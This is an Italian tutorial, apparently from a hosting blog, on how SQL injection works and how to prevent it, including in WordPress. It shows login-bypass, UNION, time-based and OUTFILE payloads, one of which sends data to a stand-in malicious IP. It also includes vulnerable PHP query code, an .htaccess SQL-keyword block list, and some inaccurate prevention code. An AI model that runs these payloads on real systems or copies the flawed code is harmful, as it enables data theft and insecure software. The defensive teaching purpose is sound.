SQL (Structured Query Language) è un linguaggio che ci permette di interagire con i database. Le moderne applicazioni web utilizzano database per gestire i dati e visualizzare contenuti dinamici ai lettori.
SQL injection, o SQLi, è un attacco portato ad un’applicazione web che compromette il database attraverso dichiarazioni SQL dannose.
Dato che si tratta di un attacco frequente, cerchiamo di capire meglio cos’è, come succede e come difendersi.
Pronti? Cominciamo!
Cosa è una SQL Injection?
SQL injection, o SQLi, è un tipo di attacco portato ad un’applicazione web che consente a un aggressore di inserire istruzioni SQL dannose nell’applicazione, ottenendo potenzialmente l’accesso a dati sensibili presenti nel database o distruggendo questi dati. SQL injection è stato scoperto per la prima volta da Jeff Forristal nel 1998.
Nei vent’anni dalla sua scoperta, l’SQL injection è sempre stata la priorità assoluta degli sviluppatori web nella progettazione di applicazioni.
Nel 2012, Barclaycard ha stimato che il 97% delle violazioni di dati inizia con un attacco SQL injection. Le SQL injection sono prevalenti ancora oggi e la gravità degli attacchi di iniezione in un’applicazione web è ampiamente riconosciuta. È uno dei dieci rischi più critici per la sicurezza delle applicazioni web secondo l’OWASP.
Come Funziona la Vulnerabilità delle SQL Injection?
Una vulnerabilità da SQL injection dà a un aggressore l’accesso completo al database della vostra applicazione attraverso l’uso di istruzioni SQL dannose.
In questa sezione, mostriamo un esempio di come si presenta un’applicazione vulnerabile.
Immaginate il flusso di lavoro di una tipica applicazione web che coinvolge le richieste di database attraverso gli input degli utenti. Si prende l’input dell’utente attraverso un modulo, ad esempio un modulo di login. Si interroga quindi il proprio database con i campi inviati dall’utente per l’autenticazione. La struttura della query sul database è qualcosa del genere:
select * from user_table
where username = 'sdaityari'
and password = 'mypassword';
Per semplicità, supponiamo che le password siano memorizzate come testo in chiaro. È comunque una buona prassi salare le vostre password e quindi metterle a posto. Andando avanti, se avete ricevuto il nome utente e la password dal modulo, potete definire la query in PHP come segue:
// Connect to SQL database
$db_query = "select * from user_table where
username = '".$user."'
AND password = '".$password."';";
// Execute query
Se qualcuno inserisce il valore “admin’;-” nel campo username, la query SQL risultante generata dalla variabile $db_query sarà la seguente:
select * from user_table where
username = 'admin';--' and password = 'mypassword'
A cosa serve questa domanda?
Un commento in SQL inizia con un doppio trattino (–). La query risultante filtra solo in base al nome utente, senza prendere in considerazione la password. Se non ci fosse alcuna misura di sicurezza per evitarlo, vi sarebbe semplicemente concesso l’accesso all’applicazione web come amministratore semplicemente utilizzando questo trucco.
In alternativa, in questo esempio si può utilizzare anche un attacco booleano per ottenere l’accesso. Se un aggressore inserisce “password” o 1=1;-” nel campo della password, la richiesta risultante sarebbe la seguente:
select * from user_table where
username = 'admin' and
password = 'password' or 1=1;--';
In questo caso, anche se la vostra password è sbagliata, verreste autenticati nell’applicazione. Se la vostra pagina web visualizza i risultati dell’interrogazione del database, l’aggressore può utilizzare il comando show tables, che è il comando per visualizzare le tabelle presenti nel database, e poi, se lo desidera, può selezionare le tabelle in modo selettivo.

Exploits of a Mom, un popolare fumetto di XKCD, mostra la conversazione di una madre con la scuola del figlio, dove le viene chiesto se ha davvero chiamato suo figlio “Robert’); DROP TABLE Students; –“.
Tipi di SQL Injection
Ora che si conoscono le nozioni di base di una vulnerabilità da SQL injection, esploriamo i vari tipi di attacchi SQL injection e il motivo che sta dietro a ciascuno di essi.
Iniezione SQL In-Band
L’SQL injection in-Band è la forma più semplice di SQL injection. In questo processo, l’aggressore è in grado di utilizzare lo stesso canale per inserire il codice SQL dannoso nell’applicazione e raccogliere i risultati. Discuteremo di due forme di attacchi SQL injection in-band:
Attacco Basato su Errori
Un attaccante utilizza una tecnica di SQL injection basata su errori durante le fasi iniziali del suo attacco. L’idea alla base di una SQL injection basata su errori è quella di ottenere ulteriori informazioni sulla struttura del database e sui nomi delle tabelle utilizzate dall’applicazione web. Ad esempio, un messaggio di errore può contenere il nome della tabella incluso nella query e i nomi delle colonne della tabella. Questi dati possono poi essere utilizzati per creare nuovi attacchi.
Attacco Union-Based
In questo metodo, un attaccante utilizza una union join SQL per visualizzare i risultati di una tabella diversa. Ad esempio, se un aggressore si trova su una pagina di ricerca, può aggiungere i risultati di un’altra tabella.
select title, link from post_table
where id < 10
union
select username, password
from user_table; --;
SQL Injection Inferenziale (Blind SQL Injection)
Anche se un aggressore genera un errore nella query SQL, la risposta della query non può essere trasmessa direttamente alla pagina web. In tal caso, l’aggressore deve sondare ulteriormente.
In questa forma di SQL injection, l’aggressore invia diverse interrogazioni al database per valutare come l’applicazione analizza queste risposte. Un’iniezione SQL inferenziale è talvolta nota anche come Blind SQL injection. Di seguito vedremo due tipi di SQL injection inferenziali: SQL injection booleana e SQL injection basata sul tempo.
Attacco Booleano
Se una query SQL dà come risultato un errore che non è stato gestito internamente nell’applicazione, la pagina web risultante può emettere un errore, caricare una pagina vuota o caricare parzialmente. In una SQL injection booleana, un attaccante valuta quali parti dell’input di un utente sono vulnerabili alle SQL injection provando due diverse versioni di una clausola booleana attraverso l’input:
- “… and 1=1”
- “… and 1=2”
Se l’applicazione funziona normalmente nel primo caso, ma mostra un’anomalia nel secondo caso, indica che l’applicazione è vulnerabile ad un attacco SQL injection.
Attacco Basato sul Tempo
Un attacco SQL injection basato sul tempo può anche aiutare un aggressore a determinare se una vulnerabilità è presente in un’applicazione web. Un aggressore utilizza una funzione predefinita basata sul tempo del sistema di gestione del database che viene utilizzata dall’applicazione. Ad esempio, in MySQL, la funzione sleep() indica al database di attendere un certo numero di secondi.
select * from comments
WHERE post_id=1-SLEEP(15);
Se una tale query comporta un ritardo, l’aggressore saprebbe che è vulnerabile.
Iniezione SQL Fuori Banda
In questo caso un aggressore non è in grado di raccogliere i risultati di una SQL injection attraverso lo stesso canale. Le tecniche di SQL injection fuori banda possono essere utilizzate come alternativa alle tecniche di SQL injection inferenziale.
In genere, queste tecniche comportano l’invio di dati dal database a un luogo malevolo scelto dall’aggressore. Questo processo dipende fortemente anche dalle capacità del sistema di gestione del database.
Un attacco SQL injection fuori banda utilizza una capacità di processo dei file esterno del vostro DBMS. In MySQL, le funzioni LOAD_FILE() e INTO OUTFILE possono essere utilizzate per richiedere a MySQL di trasmettere i dati a una fonte esterna. Ecco come un aggressore potrebbe utilizzare OUTFILE per inviare i risultati di una query a una fonte esterna:
select * from post_table
into OUTFILE '\\\\MALICIOUS_IP_ADDRESS\location'
Allo stesso modo, la funzione LOAD_FILE() può essere utilizzata per leggere un file dal server e visualizzarne il contenuto. Una combinazione di LOAD_FILE() e OUTFILE può essere utilizzata per leggere il contenuto di un file sul server e poi trasmetterlo in un’altra posizione.
Come Prevenire le SQL Injection
Finora abbiamo esplorato le vulnerabilità di un’applicazione web che possono portare ad attacchi SQL injection. Una vulnerabilità SQL injection può essere utilizzata da un aggressore per leggere, modificare o anche rimuovere il contenuto del vostro database.
Inoltre, può anche permettere di leggere un file in qualsiasi posizione all’interno del server e trasferire il contenuto altrove. In questa sezione, esploriamo varie tecniche per proteggere la vostra applicazione web e il vostro sito contro gli attacchi SQL injection.
Effettuare l’Escape dell’Input dell’Utente
In generale, è difficile determinare se una stringa utente sia o meno dannosa. Pertanto, il modo migliore di procedere è quello di effettuare l’escape dei caratteri speciali presenti nell’input dell’utente.
Questo vi salva da un attacco SQL injection. Potete eseguire l’escape di una stringa prima di costruire la query in PHP utilizzando la funzione mysql_escape_string()
. È anche possibile eseguire l’escape di una stringa in MySQL utilizzando la funzione mysqli_real_escape_string()
.
Durante la visualizzazione dell’output come HTML, dovrete anche convertire la stringa per assicurarvi che i caratteri speciali non interferiscano con il markup HTML. È possibile convertire caratteri speciali in PHP utilizzando la funzione htmlspecialchars()
.
Utilizzare le Dichiarazioni Preparate
In alternativa, potete utilizzare le dichiarazioni preparate per evitare le iniezioni SQL. Uno statement preparato è un template di una query SQL in cui si specificano i parametri in una fase successiva per la sua esecuzione. Ecco un esempio di una dichiarazione preparata in PHP e MySQLi.
$query = $mysql_connection->prepare("select * from user_table where username = ? and password = ?");
$query->execute(array($username, $password));
Altri Controlli d’Igiene per Prevenire Attacchi SQL
Il passo successivo per attenuare questa vulnerabilità è quello di limitare l’accesso al database solo a ciò che è necessario.
Ad esempio, collegate la vostra applicazione web al DBMS utilizzando un utente specifico, che ha accesso solo al database interessato.
Limitate l’accesso dell’utente del database a tutte le altre location del server. Potreste anche bloccare alcune parole chiave SQL nel vostro URL attraverso il vostro server. Se utilizzate Apache come server web, potete utilizzare le seguenti righe di codice nel file .htaccess per mostrare un errore 403 Forbidden a un potenziale aggressore.
Dovete fare attenzione prima di utilizzare questa tecnica, perché Apache mostrerà un errore al lettore se l’URL contiene queste parole chiave.
RewriteCond %{QUERY_STRING} [^a-z](declare¦char¦set¦cast¦convert¦delete¦drop¦exec¦insert¦meta¦script¦select¦truncate¦update)[^a-z] [NC]
RewriteRule (.*) - [F]
Come ulteriore consiglio di prevenzione, si dovrebbe sempre utilizzare un software aggiornato. Quando viene rilasciata una nuova versione o una patch, i bug che sono stati corretti nell’aggiornamento sono dettagliati nelle note di rilascio. Una volta che i dettagli di un bug sono resi pubblici, eseguire una vecchia versione di un qualsiasi software può essere rischioso.
SQL Injection in WordPress
Siete al sicuro da qualsiasi vulnerabilità da SQL injection se utilizzate i file core di WordPress aggiornati. Tuttavia, quando si utilizzano plugin e temi di terze parti, l’intera applicazione è a rischio.
Il vostro sito WordPress è forte solo quanto il suo anello più debole. In questa sezione, presentiamo le considerazioni chiave per mitigare la vulnerabilità da SQL injection in WordPress e spieghiamo come eseguire i controlli di vulnerabilità sul vostro sito WordPress.
Prevenire le Vulnerabilità da SQL Injection in WordPress
Per mitigare la vulnerabilità da SQL Injection nel vostro tema o plugin di WordPress, la prima regola da seguire è quella di utilizzare sempre le funzioni WordPress esistenti quando si interagisce con il database.
Queste funzioni vengono accuratamente testate per le vulnerabilità da SQL injection durante il processo di sviluppo di WordPress. Per esempio, se si vuole aggiungere un commento ad un post, usate la funzione wp_insert_comment() invece di inserire i dati direttamente nella tabella wp_comments.
Sebbene le funzioni sono estendibili, occasionalmente potrebbe essere necessario eseguire una query complessa. In tal caso, assicuratevi di utilizzare il gruppo di funzioni $wp_db. Si può utilizzare $wpdb->prepare() per effettuare l’escape dell’input dell’utente prima di creare la query.
Inoltre, ecco un elenco di funzioni per la sanitizzazione dei dati in WordPress. Questi aiutano ad effettuare l’escape di specifici tipi di input degli utenti, come email e URL.
Proteggere il Vostro Sito WordPress
Anche se WordPress stesso è sicuro, problemi come software core obsoleto e plugin annullati possono aprire delle vulnerabilità. Anche se non c’è alternativa al controllo del vostro sito WordPress per verificare le vulnerabilità da SQL injection, la complessità di un sito web può renderlo un compito impegnativo.
È possibile utilizzare uno strumento di scansione online come ThreatPass e WPScan Vulnerability Database. Potete controllare i vostri plugin per vedere se il loro sviluppo si è bloccato. Se sono stati abbandonati da tempo, potrebbe non essere una buona idea utilizzarli sul vostro sito.
Se avete ancora bisogno di utilizzarli assolutamente, assicuratevi di testarne accuratamente il codice e le rispettive funzionalità per individuare eventuali vulnerabilità. Oltre a questo, assicuratevi di seguire questi controlli d’igiene:
- Aggiornate PHP, WordPress core e MySQL
- Aggiornate plugin e temi di terze parti
- Evitate di usare l’utente root per collegarvi al database SQL
- Limitate gli accessi dell’utente SQL alle directory sensibili
- Bloccate le keyword SQL utilizzando il vostro server
- Conservate i backup del sito all’esterno in caso di danni irreversibili
Ecco un post dettagliato sulla Sicurezza di WordPress e un elenco esaustivo di controlli. Inoltre, potreste anche pensare di investire in questi plugin di sicurezza per WordPress. Ecco cosa dovreste fare se, nonostante tutti i vostri sforzi, il vostro sito WordPress viene violato.
La SQL Injection È Illegale?
Sicuramente sì! Anche se c’è una vera e propria vulnerabilità, un aggressore sta comunque cercando di accedere a dati che altrimenti non sarebbero disponibili.
Immaginate uno scenario in cui qualcuno lascia le chiavi in macchina. Andarsene via in macchina costituisce un’offesa solo perché è stata lasciata aperta e incustodita? L’atto di SQLi viene perseguito in base a diverse leggi in vari paesi. Rientra nel campo di applicazione del Computer Fraud and Abuse Act (1986) degli Stati Uniti e del Computer Misuse Act (1990) del Regno Unito.
Riepilogo
Le vulnerabilità da SQL injection sono state scoperte molto tempo fa. Tuttavia, un rapporto del 2018 sui siti web hackerati indica che SQLi è il più comune hack di siti web per WordPress, dopo gli attacchi XSS. Per evitarli, dovreste:
- Capire come funziona la vulnerabilità da SQL Injection
- Indagare sui vari modi in cui gli aggressori possono utilizzare SQLi per ottenere l’accesso non autorizzato alla vostra applicazione web
- Implementare metodi per salvaguardare il vostro sito web da attacchi SQLi, come l’escape dell’input degli utenti e l’utilizzo di dichiarazioni preparate
- Seguire una routine di controllo di sicurezza
Come dice il vecchio detto: “Meglio essere sicuri, che dispiaciuti!
Lascia un commento